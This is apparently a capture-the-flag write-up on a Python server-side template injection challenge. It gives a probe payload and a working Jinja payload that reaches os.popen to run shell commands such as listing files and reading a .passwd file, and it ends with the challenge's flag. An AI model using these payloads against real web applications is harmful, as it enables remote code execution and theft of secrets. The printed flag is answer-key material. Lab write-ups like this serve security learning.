Post

Python - Server-side Template Injection Introduction

Statement

This service allows you to generate a web page. Use it to read the flag!

Analyzation

Try payload

1
{{ 7*7 }}

It is executed –> the site is vulnerable to SSTI.

Exploitation

Searching payload in the internet, I got this one work

1
{{ self.__init__.__globals__.__builtins__.__import__('os').popen('ls -la').read() }}

Change command in popen('ls -la') to execute shell code.

After reading all files listed above, .passwd has what I need

1
{{ self.__init__.__globals__.__builtins__.__import__('os').popen('cat .passwd').read() }}

The flag is

1
Python_SST1_1s_co0l_4nd_mY_p4yl04ds_4r3_1ns4n3!!!

Resources

This post is licensed under CC BY 4.0 by the author.